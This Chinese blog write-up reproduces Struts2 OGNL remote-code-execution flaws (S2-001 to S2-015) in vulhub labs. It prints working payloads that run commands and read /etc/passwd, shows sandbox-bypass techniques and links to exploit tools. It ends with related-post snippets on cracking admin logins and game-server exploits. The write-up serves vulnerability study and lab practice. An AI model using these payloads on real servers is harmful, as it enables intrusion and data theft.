Struts2漏洞分析与复现合集

article/2025/9/23 7:57:14

文章目录

      • 一、基础知识
        • Struts2简介:
      • 二、漏洞复现
        • 1、S2-001(OGNL 循环解析导致的 RCE 漏洞)
          • 漏洞原理:
          • 影响版本:
          • 环境搭建:
          • poc:
          • 漏洞利用:
        • 2、S2-005(S2-003 的绕过)
          • 漏洞原理:
          • 影响版本:
          • 环境搭建:
          • poc:
          • 漏洞利工用具:
        • 3、S2-007(验证类型转换错误时,会导致二次表达式解析)
          • 漏洞原理:
          • 影响版本:
          • 环境搭建:
          • poc:
          • 漏洞利用:
        • 4、S2-009 远程代码执行漏洞 (CVE-2011-3923)
          • 漏洞原理:
          • 影响版本:
          • 环境搭建:
          • 漏洞利用:
        • 5、S2-012 远程代码执行漏洞 (CVE-2013-1965)
          • 漏洞原理: 重定向的路径中使用了 %{} 导致了的 RCE 漏洞
          • 影响版本:
          • 环境搭建:
          • 漏洞利用:
        • 6、S2-013/S2-014 远程代码执行漏洞 (CVE-2013-1966)
          • 漏洞原理:链接标签带入参数时导致的 OGNL 解析漏洞
          • 影响版本:
          • 环境搭建:
          • 漏洞利用:
        • 7、S2-015 远程代码执行漏洞 (CVE-2013-2134, CVE-2013-2135)
          • 漏洞原理:
          • 影响版本:
          • 漏洞环境搭建:
          • 漏洞利用:

一、基础知识

Struts2简介:

Apache Struts2 是一个基于 MVC 设计模式的 JavaWeb 应用框架,它的本质就相当于一个 servlet,在 MVC 设计模式中,Struts2 作为控制器(Controller)来建立模型与视图的数据交互。Struts2 是在 Struts 和WebWork 的技术的基础上进行合并的全新的框架。Struts2 以 WebWork 为核心,采用拦截器的机制来处理的请求。这样的设计使得业务逻辑控制器能够与 ServletAPI 完全脱离开。

二、漏洞复现

1、S2-001(OGNL 循环解析导致的 RCE 漏洞)

漏洞原理:

该漏洞因用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。如注册或登录页面,提交失败后一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行。

影响版本:

Struts 2.0.0 - 2.0.8

环境搭建:

本次测试使用 vulhub 靶场搭建, 关于环境搭建可以看官网的手册:链接

vuluhub 靶场下载好后,首先进入本次的漏洞环境,并启动

.../vulhub/struts2/s2-001docker-compose up -d //靶场的编译和运行docker ps    //查看docker环境是否启动成功

打开测试页面
在这里插入图片描述

poc:

在密码处输入%{'123'},点击提交。
在这里插入图片描述
成功解析 OGNL 表达式,即存在漏洞。

漏洞利用:

1、获取 tomcat 路径:

%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

在这里插入图片描述

2、获取网站真实路径:

%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

在这里插入图片描述
3、命令执行:

执行 whoami 命令:

%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}

在这里插入图片描述
也可以执行其它命令,只需要将上面的代码中 whoami 替换:

%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}

在这里插入图片描述

2、S2-005(S2-003 的绕过)

漏洞原理:

s2-005漏洞源于S2-003(受影响版本:低于Struts 2.0.12),struts2会将 http 的每个参数名解析为 OGNL 语句执行(可理解为java代码)。OGNL表达式通过#来访问 Struts 的对象,Struts框架通过过滤#字符防止安全问题,然而通过 unicode 编码(\u0023)或8进制(\43)就可以绕过安全限制。

对于S2-003漏洞,官方通过增加安全配置即沙盒机制(禁止静态方法allowStaticMethodAcces、MethodAccessor.denyMethodExecution调用和类方法执行等)来修补,但是攻击者可以利用OGNL表达式将 allowStaticMethodAccess设置为true,MethodAccessor.denyMethodExecution设置为false,就可以绕过这个沙盒机制导致S2-005漏洞。

S2-005漏洞是对S2-003漏洞补丁的绕过。

影响版本:

Struts 2.0.0 - Struts 2.1.8.1

环境搭建:

同上。

在这里插入图片描述

poc:

执行任意命令 POC(无回显,空格用@代替):

?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1

网上有些 POC 在 tomcat8 下会返回 400,查了一些文章知道字符 \" 不能直接放 path 里,需要 urlencode,编码以后再发送就好了。这个 POC会创建一个success文件,无回显。

抓包添加 payload,往/tmp/目录下写入success文件:
在这里插入图片描述
进入容器查看发现成功创建success文件。
在这里插入图片描述

漏洞利工用具:

工具下载地链接:https://pan.baidu.com/s/1GnubCDegksD0GYZcbAcfHg,提取码:1111

在这里插入图片描述
在这里插入图片描述
第二款工具:

链接:https://pan.baidu.com/s/1a87zkitH5nzN9KVJWEhgSg,提取码:1111

在这里插入图片描述

3、S2-007(验证类型转换错误时,会导致二次表达式解析)

漏洞原理:

S2-007漏洞一般出现在表单处,当配置了验证规则 <ActionName>-validation.xml 时,若类型验证转换出错,后端默认会将用户提交的表单值通过字符串拼接,然后执行一次 OGNL 表达式解析并返回。

例如下面这个 UserAction-validation.xml 验证表单

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE validators PUBLIC"-//OpenSymphony Group//XWork Validator 1.0//EN""http://www.opensymphony.com/xwork/xwork-validator-1.0.2.dtd">
<validators><field name="age"><field-validator type="int"><param name="min">1</param><param name="max">150</param></field-validator></field>
</validators>

当用户提交 age 为字符串而非整形数值时,后端用代码拼接 "'" + value + "'" 然后对其进行 OGNL 表达式解析。要成功利用,只需要找到一个配置了类似验证规则的表单字段使之转换出错,借助类似 SQLi 注入单引号拼接的方式即可注入任意 OGNL 表达式。

影响版本:

Struts 2.0.0-2.2.3

环境搭建:

同上。

打开测试页面:

在这里插入图片描述

poc:

在年龄age框中输入下面的非数字类型值,点击登陆,name和email随便输。

'+(1+1)+'

在这里插入图片描述
年龄框的值变成 11,证明漏洞存在。

为什么payload的两端要加'+ +'呢?

是为了闭合这里 "'" + value + "'" 两端的引号,放入的value值变成了''+(#xxxx)+''的形式才可以成功解析。

漏洞利用:

在年龄age框输入要执行的任意代码的EXP,点击提交,页面会返回响应的执行结果。

执行任意命令EXP:

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '

在这里插入图片描述
可以把EXP中 exec('id') 里的 id 改为你想要执行的命令,如:exec('cat /etc/passwd')
在这里插入图片描述

4、S2-009 远程代码执行漏洞 (CVE-2011-3923)

漏洞原理:

Struts2 对 s2-003 的修复方法是禁止#号,于是 s2-005 通过使用编码\u0023\43来绕过;后来 Struts2 对 s2-005 的修复方法是禁止\等特殊符号,使用户不能提交反斜线。

但是,如果当前 action 中接受了某个参数 example,这个参数将进入 OGNL 的上下文。所以,我们可以将 OGNL 表达式放在 example 参数中,然后使用 /helloword.acton?example=<OGNL statement>&(example)('xxx')=1 的方法来执行它,从而绕过官方对#\ 等特殊字符的防御。

影响版本:

Struts 2.1.0-2.3.1.1

环境搭建:

同上。

测试页面:http://192.168.50.131:8080/shoucase.action

在这里插入图片描述

漏洞利用:

我们的目标是去找一个接受了参数,参数类型是 string 的 action。在源码中可以找到这个文件
WEB-INF/src/java/org/apache/struts2/showcase/ajax/Example5Action.java:

public class Example5Action extends ActionSupport {private static final long serialVersionUID = 2111967621952300611L;private String name;private Integer age;public String getName() { return name; }public void setName(String name) { this.name = name; }public Integer getAge() { return age; }public void setAge(Integer age) { this.age = age; }@Overridepublic String execute() throws Exception {return SUCCESS;}
}

可以看到,其接受了 name 参数并调用 setName 将其赋值给私有属性 this.name,正是符合我们的要求。然后去 WEB-INF/src/java/struts-ajax.xml 看一下 URL 路由:

<package name="ajax" extends="struts-default">...<action name="example5" class="org.apache.struts2.showcase.ajax.Example5Action"><result name="input">/ajax/tabbedpanel/example5.jsp</result><result>/ajax/tabbedpanel/example5Ok.jsp</result></action>...
</package>

name=example5,所以访问 http://ip:8080/ajax/example5.action 即可访问该控制器。按照原理中说到的方法,将 OGNL 利用代码放在 name 参数里,即可利用该漏洞:

age=123&name=(#context["xwork.MethodAccessor.denyMethodExecution"]=+new+java.lang.Boolean(false),+#_memberAccess["allowStaticMethodAccess"]=true,+#a=@java.lang.Runtime@getRuntime().exec("[命令]").getInputStream(),#b=new+java.io.InputStreamReader(#a),#c=new+java.io.BufferedReader(#b),#d=new+char[51020],#c.read(#d),#kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#kxlzx.println(#d),#kxlzx.close())(meh)&z[(name)('meh')]

例:执行 /etc/passwd 命令:

在这里插入图片描述

5、S2-012 远程代码执行漏洞 (CVE-2013-1965)

漏洞原理: 重定向的路径中使用了 %{} 导致了的 RCE 漏洞

漏洞触发原理与 S2-001 类似,对 %{} 表达式进行了循环解析。

如果在配置 Action 中 Result 时使用了重定向类型,并且还使用 ${param_name} 作为重定向变量,例如:

<package name="S2-012" extends="struts-default"><action name="user" class="com.demo.action.UserAction"><result name="redirect" type="redirect">/index.jsp?name=${name}</result><result name="input">/index.jsp</result><result name="success">/index.jsp</result></action>
</package>

这里 UserAction 中定义有一个 name 变量,当触发 redirect 类型返回时,Struts2 获取使用 ${name} 获取其值,在这个过程中会对 name 参数的值执行 OGNL 表达式解析,从而可以插入任意 OGNL 表达式导致命令执行。

影响版本:

Struts 2.1.0 - 2.3.13

环境搭建:

同上。

打开测试页面:

在这里插入图片描述

漏洞利用:

直接在文本框内执行payload读取passwd:

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}。

在这里插入图片描述

6、S2-013/S2-014 远程代码执行漏洞 (CVE-2013-1966)

漏洞原理:链接标签带入参数时导致的 OGNL 解析漏洞

Struts2 中使用链接标签 <s:a><s:url> 来渲染链接,使用 url 标签可以引入一个静态路径或 action ,使用 a 标签可以直接渲染一个 a 链接。

在这两个标签中,都包含一个属性 includeParams,有三个属性值:

  • none: URL中不包含任何参数(默认)
  • get:仅包含URL中的GET参数
  • all:在URL中包含GET和POST参数

当 includeParams=all 的时候,会将本次请求的GET和POST参数都放在URL的GET参数上。

拿本漏洞环境举例,index.jsp中有:

<s:a id="link1" action="link" includeParams="all">"s:a" tag</s:a>

在这里插入图片描述
在放置参数的过程中会将参数进行OGNL渲染,造成任意命令执行漏洞。

注:includeParams=get也可以触发该漏洞。

影响版本:

Struts 2.0.0 - 2.3.14

环境搭建:

同上,测试页面:

在这里插入图片描述

漏洞利用:

POC:

?x=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('id').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D

随便传一个参数

在这里插入图片描述

补充:

S2-014 是对于 S2-013 修复不完整的造成的漏洞,在 S2-013 修复的代码中,官方限制了%{(#exp)}格式的OGNL执行,但是忽略了 ${exp} OGNL 表达式执行的方式,因此导致了S2-014的产生。

POC:

?x=%24%7B%28%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%29%28%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue%29%28@java.lang.Runtime@getRuntime%28%29.exec%28%22open%20%2fApplications%2fCalculator.app%22%29%29%7D

经过测试发现也没有对 %{(exp)} 这种进行阻拦。

7、S2-015 远程代码执行漏洞 (CVE-2013-2134, CVE-2013-2135)

漏洞原理:

S2-015 官方公告公布了两种漏洞利用方式,一种是通配符匹配 action ,一种是在 struts.xml 中使用 ${} 引用 Action 变量导致的二次解析。

第一种:在使用 struts2 时,每一个action 都需要配置, action 里面的方法以及其返回到的界面都需要配置,如果一个一个配置,就太麻烦了,因此可以约定一些命名规范,然后在 struts.xml 里面使用通配符进行配置。

在 Struts2 中可以使用通配符 * 来匹配 action,并使用 {1} 来获取 * 的值,这有点像正则的匹配模式,如下配置:

<package name="S2-015" extends="struts-default"><action name="*" class="com.demo.action.PageAction"><result>/{1}.jsp</result></action>
</package>

上述配置能让我们访问 name.action 时使用 name.jsp 来渲染页面,但是在提取 name 并解析时,对其执行了 OGNL 表达式解析,所以导致命令执行。漏洞原理跟S2-012类似,S2-012利用的重定向类型,S2-015利用的 Action 的名称。复现的时候发现,由于 name 值的位置比较特殊,一些特殊的字符如 / " \ 都无法使用(转义也不行),所以在利用该点进行远程命令执行时一些带有路径的命令可能无法执行成功。

需要注意,在 Struts 2.3.14.2 中,官方将 SecurityMemberAccess 类中成员变量 allowStaticMethodAccess 添加了 final 修饰符,并且将其 set 方法进行了删除。这就导致了我们不能通过 #_memberAccess["allowStaticMethodAccess"]=true 来改变其值,因为没有 set 方法了。但是至少有两种思路进行绕过:

  1. 使用反射修改其值:
#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_memberAccess,true),
  1. 使用非静态方法调用 POC:
new java.lang.ProcessBuilder(new java.lang.String[]{"open", "-a","Calculator.app"}).start()

因此最终 payload 为:

${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()),#q}

URL编码后为:

%24%7B%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('id').getInputStream())%2C%23q%7D

此处使用 %$ 均可。

第二种:

<result type="httpheader"><param name="errorMessage">${message}</param>
</result>

这里配置了 <param name="errorMessage">${message}</param>,其中 message 为 ParamAction 中的一个私有变量,这样配置会导致触发该 Result 时,Struts2 会从请求参数中获取 message 的值,并在解析过程中,触发了 OGNL 表达式执行。这里需要注意的是这里的二次解析是因为在 struts.xml 中使用 ${param} 引用了 Action 中的变量所导致的,并不针对于 type=“httpheader” 这种返回方式。

直接提交 %{1+1}${1+1} 作为其变量值提交就会得到执行。

在这里插入图片描述
注:用 %{1+1} 时需要将 % 进行 url 编码。

在这里插入图片描述

影响版本:

Struts 2.0.0 - 2.3.14.2

漏洞环境搭建:

在这里插入图片描述

漏洞利用:

两种方式的漏洞利用payload一致。
在这里插入图片描述
将上图红框中的内容url解码得到:


http://chatgpt.dhexx.cn/article/Jp7r7SAX.shtml

相关文章

框架/组件漏洞系列1:struts2漏洞汇总

前言&#xff1a; 本篇文章中复现的漏洞不是特别全面&#xff0c;但是挑选了最近两年的漏洞进行复现&#xff0c;旨在对漏洞进行有用复现&#xff0c;毕竟一些老漏洞已经基本不存在了。 一、Struts简介 1、简介 基本介绍&#xff1a; Struts是Apache软件基金会&#xff08…

struts2漏洞

文章目录 漏洞一、struts2漏洞 S2-001漏洞原理复现 二、struts2漏洞 S2-005原理 分析一下003复现 三、struts2漏洞s2-007四、struts2漏洞 S2-008原理复现 五、struts2漏洞 S2-009原理复现 六、struts2漏洞 S2-012原理复现 七、struts2漏洞 S2-013原理复现 八、struts2漏洞 S2-0…

传奇私服搭建+微端

微端服务器引擎 数据库 客户端 版本 本来想发网盘链接&#xff0c;文件涉及敏感无法分享&#xff0c;需要的可以私下给你发。 企鹅号&#xff1a;1404765471 首先准备 1.三台服务器&#xff08;服务端服务器 微端服务器 列表服务器&#xff09;推荐Windows2008系统 2.私服…

传奇开服怎么开服?不会技术自己能开服吗?传奇开服需要准备什么?前期需要投入多少?

传奇开服怎么开服&#xff1f;不会技术自己能开服吗&#xff1f;传奇开服需要准备什么&#xff1f;前期需要投入多少&#xff1f; 作为经典怀旧游戏&#xff0c;传奇赢得了许多人的青睐&#xff0c;在这个科技的时代&#xff0c;玩服已经满足不了了&#xff0c;多数人会选择自己…

gm修改爆率需要重启服务器吗,传奇SF服务端上修改怪物爆率图文教程

修改怪物爆率基本上是每个版本在改的时候要走的一步&#xff0c;因为每个GM思路不同&#xff0c;想法不同&#xff0c;他给玩家展现出来的版本也不同&#xff0c;就是自己玩单机也要去改&#xff0c;谁不想爆率高点对吧&#xff0c;今天给大家讲解一下通过修改服务端的怪物爆率…

传奇私服游戏支付接口申请(已解决)

传奇游戏是一款经典打怪升级-PK游戏&#xff0c;盛大游戏公司于2001年9月发布&#xff0c;随后出现了众多传奇私服游戏版本。到现在依然受很多人喜爱&#xff0c;经历了多次升级换代&#xff0c;现已转变为游戏体验更加细腻的页游和手游&#xff0c;成为了小成本高收益的热门游…

传奇开服架设教程

传奇架设其实很简单 很多网友非常爱玩这款游戏&#xff0c;可能还有朋友不知道怎么架设这款游戏 今天特意写篇传奇架设教程&#xff0c;希望大家都能打造出真正属于自己的传奇 首先传奇架设需要准备以下几个软件 准备工具&#xff1a; 1、传奇服务端&#xff08;版本&#…

传奇私服搭建网站的几种方法

搭建网站的几种方法&#xff1a; 一些人&#xff0c;连简单的搭建网站都不会&#xff0c;还要请技术帮忙&#xff0c;真是牛B&#xff0c;这里简单介绍下几种办法 一&#xff1a;2003系统下&#xff0c;直接使用IIS&#xff0c;这个太简单了&#xff0c;桌面上就有IIS&#xff…

传奇h5私服源码+教程

传奇h5私服源码教程 这几天突然想拿服务器做些什么&#xff0c;就想到搭一个私服游戏&#xff0c;学习娱乐一下。废话不多说下面给教程和源码。 传奇h5源码&#xff1a;https://download.csdn.net/download/qq_37258192/11997500 &#xff08;重新上传了1次&#xff0c;积分变…

传奇私服服务器上怎么修改爆率,传奇私服怎么一次性调整爆率

满意答案 yhd514468637 推荐于 2017.10.03 怪物爆率文件在D:\Mirserver\Mir200\Envir\MonItems下面&#xff0c;一般默认的怪物爆率就已经非常不错&#xff0c;但根据服务器人数&#xff0c;有时候还是需要对爆率进行调整。 关于调整沃玛装备 沃玛装备为底级装备&#xff0c;控…

传奇架设-设置GM以及刷装备教程

传奇游戏虽然已经那么多年了&#xff0c;但是新手还是不断的在涌入进来&#xff0c;想学私服技术的也很多。 今天来说一下怎么设置GM&#xff0c;和怎么看命了吧&#xff01;本来想做一个视频的&#xff0c;但是我觉得这个太过简单&#xff0c;图文还来的简单。 《第一章&…

传奇服中怎么刷装备

记得玩传奇的时候&#xff0c;最大的乐趣莫过于一起PK打装备&#xff0c;真的是让人激情四射了&#xff0c;想想都有点小激动呢&#xff0c;呵呵&#xff01;但是等了做了GM以后&#xff0c;这点乐趣真的没有了&#xff0c;感觉打装备PK没有什么意思&#xff0c;倒是觉得刷装备…

传奇SF刷元宝之迷失版本刷叠加材料

传奇迷失版本刷材料漏洞教学 今天给大家带来传奇迷失版刷叠加材料&#xff0c;这个漏洞教学网上有人发过&#xff0c;不过很多人按照教程做了就是不触发。就是因为发布者去头掐尾的&#xff01;最终目的就是让你们加他们所谓的群啊之类的引流罢了&#xff0c; 今天我给大家一个…

传奇SF刷元宝之王者荣耀版本

王者荣耀版本刷元宝卡爆率保姆级教学 王者荣耀版本刷元宝卡爆率详细教学 今天给大家带来传奇王者荣耀版本刷元宝和卡爆率的教程&#xff0c;这个漏洞教学网上有人发过&#xff0c;不过很多人按照教程做了就是不触发。就是因为发布者去头掐尾的&#xff01;最终目的就是让你们加…

网站管理后台帐号密码找回方法

站忘记密码怎么找回? 两个方法 方法一&#xff1a; 登录数据库&#xff0c;把password 下面的这一串加密串 解密一下。我至今没这样弄过&#xff0c;原理是这样&#xff0c;但是我没找到好用的md5 解密网站。一般的都要收费的。 方法二: 在数据库重置一个简单的密码&#x…

【Linux】网站后台设置及管理

文章目录 1. 进入网站后台选择管理,登陆2. 修改全局设置1) 站点信息修改2) 注册访问修改3) 内容设置3. 把网站添加到主网站上去总结1. 进入网站后台选择管理,登陆 从浏览器输入:bbs.zmkjedu.com

网站后台爆破工具:WebCrack

WebCrack简介 WebCrack是一款开源免费的web后台弱口令/万能密码批量爆破、检测工具。 不仅支持如discuz&#xff0c;织梦&#xff0c;phpmyadmin等主流CMS的后台爆破&#xff0c;并且对于绝大多数小众CMS甚至个人开发网站后台都有效果&#xff0c;只需在工具中导入后台地址即…

【Linux】kali破解密码

一、环境描述 Linux version 5.14.0-kali4-686-pae (develkali.org) (gcc-10 (Debian 10.3.0-12) 10.3.0, GNU ld (GNU Binutils for Debian) 2.37) #1 SMP Debian 5.14.16-1kali1 (2021-11-05) 二、操作步骤 &#xff08;1&#xff09;开进grub界面按e&#xff1b; &#…

暴力破解网站后台burpsuite

【实验原理】 Burp Suite是Web应用程序测试的最佳工具之一&#xff0c;其多种功能执行各种任务。请求的拦截和修改&#xff0c;扫描web应用程序漏洞&#xff0c;以暴力破解登录表单&#xff0c;执行会话令牌等多种的随机性检查。 Burp Suite主要有它的以下特点&#xff1a; …

web小白,实战操作拿到网站后台账户和密码

话不多说,直接上赶货,前几天遇到一个网站,就想着怎么拿到他的后台权限 首先我想的是去查看一下他的网站框架是什么,先随便构造个报错,看能不能有什么提示? 我们可以从报错信息中看到一些信息,可以看到网站报错信息,知道了这个网站的框架是thinkphp,而且是thinkphp3…